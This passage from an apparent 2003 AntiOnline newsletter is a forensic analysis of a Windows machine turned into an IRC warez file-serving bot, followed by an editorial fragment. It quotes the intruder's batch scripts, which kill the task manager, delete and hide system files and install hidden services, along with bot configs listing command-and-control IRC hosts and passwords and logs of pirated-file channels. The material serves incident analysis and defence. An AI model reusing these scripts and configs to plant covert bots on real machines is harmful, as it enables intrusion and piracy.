msnmngr.exe.tc3 nt32.ini
services1.bat ServUStartUpLog.txt
tar.exe.tc3 winlog.exe.tc3
cygwin1.dll PULIST.EXE.tc3
winnt32.scr setpbat.bat
```

There are a lot of files huh? Some you may recognize, some are specific configurations. One thing that is interesting is the .tc3 suffix. TC3 is a local community college.

In the amount of time it would take me to cover all of these files would probably leave you sleeping at your desk(if you aren't already) so I won't cover everything.

I will take snippets from some of the files that contained configuration information for you to look at though. Opening **blah1.gif** in notepad(that's right, it's not a gif, it's a configuration file) reveals some simple configs.

—snip—

[GLOBAL]

Version=3.0.0.17

RegistrationKey=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAagAAA6mMGTxCDg/
C2p1YW4g

dmFsZGV6BXI1YmFu

LocalSetupPortNo=22222

ProcessID=564

[Domain1]

User1=xdcc|1|0

SignOn=c:\winnt\system32\config\32dllemu.txt

DirChangeMesFile=c:\winnt\system32\config\32dllemu.txt

LogSystemMes=0

—snip—

Interesting isn't it? Notice a correlation between this file and our netstat command? It uses port 22222, and has a username of xdcc|1|0 (this may very well have been our bots IRC "nick").

From **dll16.ini**:

—snip—

[variables]

n0=%server edu1.0wned-the.us:6667

n1=%timeout 10

n2=%chan #packet

n3=%pass broken !

n4=%pass8 hey there?

n5=%master admin@hidden

—snip—

Note the n0 variable. Port 6667 is the default IRC port. An nslookup resolves the host to saltek.net(this is the warez network that our machine is connecting to)

From **1.bat**(not listed) that was in the root(c:\) directory:

@echo off

kill.exe taskmgr.exe

kill.exe task32.exe

del c:\winnt\system32\taskmgr.exe

del c:\winnt\system32\nt32.ini

del c:\winnt\system32\dll32NT.hlp

del c:\winnt\system32\seced.bat

del c:\winnt\system32\vmn32.exe

del c:\winnt\system32\psexec.exe

del c:\winnt\system32\mdm.exe

del c:\winnt\system32\dll32.hlp

del c:\winnt\system32\task32.exe

attrib +s +h +r c:\winnt\system32\vmn32

attrib +s +h +r c:\winnt

```
attrib -s -h -r c:\winnt\system32\vmn32\*.exe
```

Clever isn't it? Our legit files are deleted and replaced by the ones in the vmn32 directory. The attrib commands are easily defeated in DOS via the **c:\>dir /a /s** command. This is all coming together to form one easily managed remote warez server.

From **Services.bat**:

```
@echo off
cd c:\winnt\system32\config
set mxbin=C:\WINNT\system32\config
set mxhome=C:\WINNT\system32\config
firedaemon -i msnmng "c:\winnt\system32\config"
"c:\winnt\system32\config\msnmngr.exe"
"c:\winnt\system32\config\software.config" Y 0 0 Y Y
firedaemon -i winlog "c:\winnt\system32\config"
"c:\winnt\system32\config\winlog.exe" "c:\winnt\system32\config\blah1.gif" Y 0
0 Y Y
net start msnmng
net start winlog
mkdir c:\winnt\system32\config\temp
del *.bat
```

As you can see here, our warez trader is starting up some of our services to ensure he/she has access to the machine.

Finally, one last snip from **software.config**

```
—snip—
server irc.saltek.net 6667
server irc.saltek.net 6667
server saltek.Owned-the.us 6667
server xdcc.Owned-the.us 7000
server xdcc1.Owned-the.us 7004
server xdcc2.Owned-the.us 7004
server xdcc.Owned-the.us
```

```
creditline The Shiznat by #Iso-Xdcc !
adminpass YmM75XllhS/no
adminhost *!*@*.saltek.net
```

```
—snip—
```

We see here a few servers that this bot will be connected to, the channel the bot resides in, and just to make sure, we need to know the admin pass and host.

If this hasn't given you enough information to confirm the compromise or to satiate your hunger for knowing just who did this, we can continue our dig. For this portion of the analysis I connected via IRC to our friends at irc.saltek.net.

I joined in on the fun at #Iso-Xdcc to see what was going on.

—snip—

Oct 21 13:38:41 *JP2P* Looking For New Movies / Games / Porn / Apps ? Then Get JP2P from <http://PrO-P2P.cjb.net> And Enjoy Your Full Download Speed!

Oct 21 13:38:41 <— ISO-XDCC617 has quit (Ping timeout)

Oct 21 13:38:56 <— ISO-XDCC332 has quit (Ping timeout)

Oct 21 13:39:11 <— fr0ggy (~Andy@host81-128-131-161.in-addr.btopenworld.com) has left #ISO-XDCC

Oct 21 13:39:18 <— rollo (~rollo@co321998-a.almel1.ov.home.nl) has left #ISO-XDCC

Oct 21 13:39:25 —> ISO-XDCC617 (~IsoXdcc@198.70.7.102) has joined #ISO-XDCC

Oct 21 13:39:25 — TREKKER gives voice to ISO-XDCC617

Oct 21 13:39:32 <— gery (~scoop@82-41-137-199.cable.ubr03.glen.blueyonder.co.uk) has left #ISO-XDCC

Oct 21 13:39:35 <ISO-XDCCZ240> ** 2 packs ** 15 of 15 slots open, Record: 237.1KB/s

Oct 21 13:39:35 <ISO-XDCCZ240> ** Bandwidth Usage ** Current: 0.0KB/s, Record: 877.5KB/s

Oct 21 13:39:35 <ISO-XDCCZ240> ** To request a file type: "/msg ISO-XDCCZ240 xd cc send #x" **

Oct 21 13:39:35 <ISO-XDCCZ240> #1 147x [919M] Crocodile.Hunter.Collision.Course.SCREENER-TCF-VCD Both CD's

Oct 21 13:39:36 <ISO-XDCCZ240> #2 239x [1.2G] XXX.SCREENER-VideoCD-VCD Both CD's

Oct 21 13:39:36 <ISO-XDCCZ240> ** The Shiznat by #Iso-Xdcc ! **

Oct 21 13:39:38 <ISO-XDCCZ240> Total Offered: 2100.2 MB Total Transferred: 541.85 GB

—snip—

Again, do you see any correlations? Look at the paste from software.config, namely the line ****The Shiznat by #Iso-Xdcc!****. Notice the bot: "ISO-XDCCZ240" giving it's status reports. This is what our machine would have been used for. To trade movies,games,porn,and Apps. This is just one channel on this network. Shall we look at others?

A /list command gives us a boatload of channels to join and trade files on.

—snip—

```
Oct 21 13:35:36 #isoz          594   #ISOZ -|- Battlefield_1942_Secret_Weapo
ns_of_WWII-IMMERSiON -|- Star.Wars.Jedi.Knight.Jedi.Academy-GAME -|- Madden_NFL_
2004-Razor1911 -|- Tony_Hawks_Pro_Skater_4-Razor1911 -|- S.W.A.T.SVCD.TS-TcS -|
- Skateboard_Park_Tycoon_2004-MONEY
```

```
Oct 21 13:35:36 #pimp          1
```

```
Oct 21 13:35:36 #R2R-Warez     4
```

```
Oct 21 13:35:36 #CEREBRAL-WAREZ  3
```

```
Oct 21 13:35:36 #PYR0          9
```

```
Oct 21 13:35:36 #xdcc          401   ...[#XdCC]:... :|:. Bad Boys II SVCD
TCF :|:. Tomb Raider The Cradle Of Life SVCD CTP :|:. Pirates Of The Car
ibbean SVCD TcS :|:. Terminator.3.SVCD.TS-CENTROPY
```

—snip—

594 connections to #isoz and 401 to #xdcc, that's a lot of illegal files being moved around. Pay attention to some of the headlining titles. Those movies are fairly recent.

I think we have enough information about our friends at saltek for now. What now you ask? We clean the system (you can either use the Trojan removal programs above, combined with antivirus, some DOS commands to remove the typical ascii character named folders and the hidden or system files et al, or just reload the operating system since you have a backup of your critical files, hopefully you scanned those as well)

Conclusion: Broadband technologies have increased the amount of IRC Trojan hacks taking place on the internet. From home user, to system admin, they are being discovered and removed. I hope this paper was an eye-opening experience for some of you, while it may just be a bore to others. IRC, while a useful technology for developers, friends, anyone and everyone, is not without its dark side. The World Wide Web is a tricky place, with more happening behind the scenes than you might realize.

Thoughts, comments, suggestions are welcome. Thank you for taking the time to reach this part.

Finally, I'm not one to do this normally, but one good turn deserves another. Saltek.net was reported to the MPAA for copyright infringement and illegal pirating of protected materials. Who knows what will come of it.

References:

Google:

<http://www.google.com/search?hl=en&lr=&ie=ISO-8859-1&q=aristotles+trojan>

<http://www.google.com/search?hl=en&q=klandoor+trojan>

<http://www.google.com/search?hl=en&q=hidewindow+trojan>

<http://www.google.com/search?hl=en&q=iroffer+trojan>

irchelp.org:

<http://www.irchelp.org/irchelp/security/trojan.html>

Kurt Seifried:

URL:<http://www.seifried.org/security/ports/8000/8001.html>

URL:<http://www.seifried.org/security/ports/22000/22222.html>

IANA:

URL:<http://www.iana.org/assignments/port-numbers>

MPAA:

URL:<http://mpaa.org/anti-piracy/>

Other Interesting Articles:

URL:<http://www.honeynet.org/papers/profiles/cc-fraud.pdf>

Swatit:

URL:<http://swatit.org/bots/gtbot.html>

IrOffer:

URL:<http://iroffer.org>

AT&T:

URL:http://www.att.com/abs/serviceguide/docs/agnsremacc_sg.doc [section 3.3]

At the time of this writing, I am awaiting a response from Mark Lewandowski at IBM. Mark is the contact name for vcom-tunnel as listed on the IANA website.

**Best wishes for the
Holidays and
the New Year from the
staff and moderators of
AntiOnline**

MsMittens' Editorial Cont'd

1). DoS/DDoS have immediate, quick results. In fact, I think that 2004 we may see some more attacks. One doesn't have to understand all the flags of TCP (ACK, SYN, FIN, RST, PSH, URG for those curious – go lookup <ftp://ftp.rfc-editor.org/in-notes/std/std7.txt> for more info) to be able to do a SYN flood. One just needs to search through old exploit archives.

Eh. Same old rant I suppose. It gets back to the old "What is a hacker?". I've ponder this recently as I went to do some recent introductory security instruction. Perhaps a new definition might be worthwhile (or perhaps considered). For what it's worth, in my opinion, a "hacker" (white hat or black hat) is an expert at a system. That system may be a computer system, phone system, social system, film system, whatever. But they can make it do things you'd never image as to how to do it. And they do it with a finesse and.. well, you generally are just in awe of their abilities. You often wonder how they got there...

There were no quick fixes for them.

There was no one to guide them.

They just started from point A and began the "thousand mile journey with a single step".

Have you started your journey for 2004?

In closing I wanted to give an extra thanks to all those that contributed to this issue. I got so many articles this time around (and still used them) that I felt I couldn't add any more to make it better.

Articles for AntiOnline Insight #11 are due: **January 9th, 2004** by midnight EST. Email me at **msmittens@msmittens.com** or pm me with your article.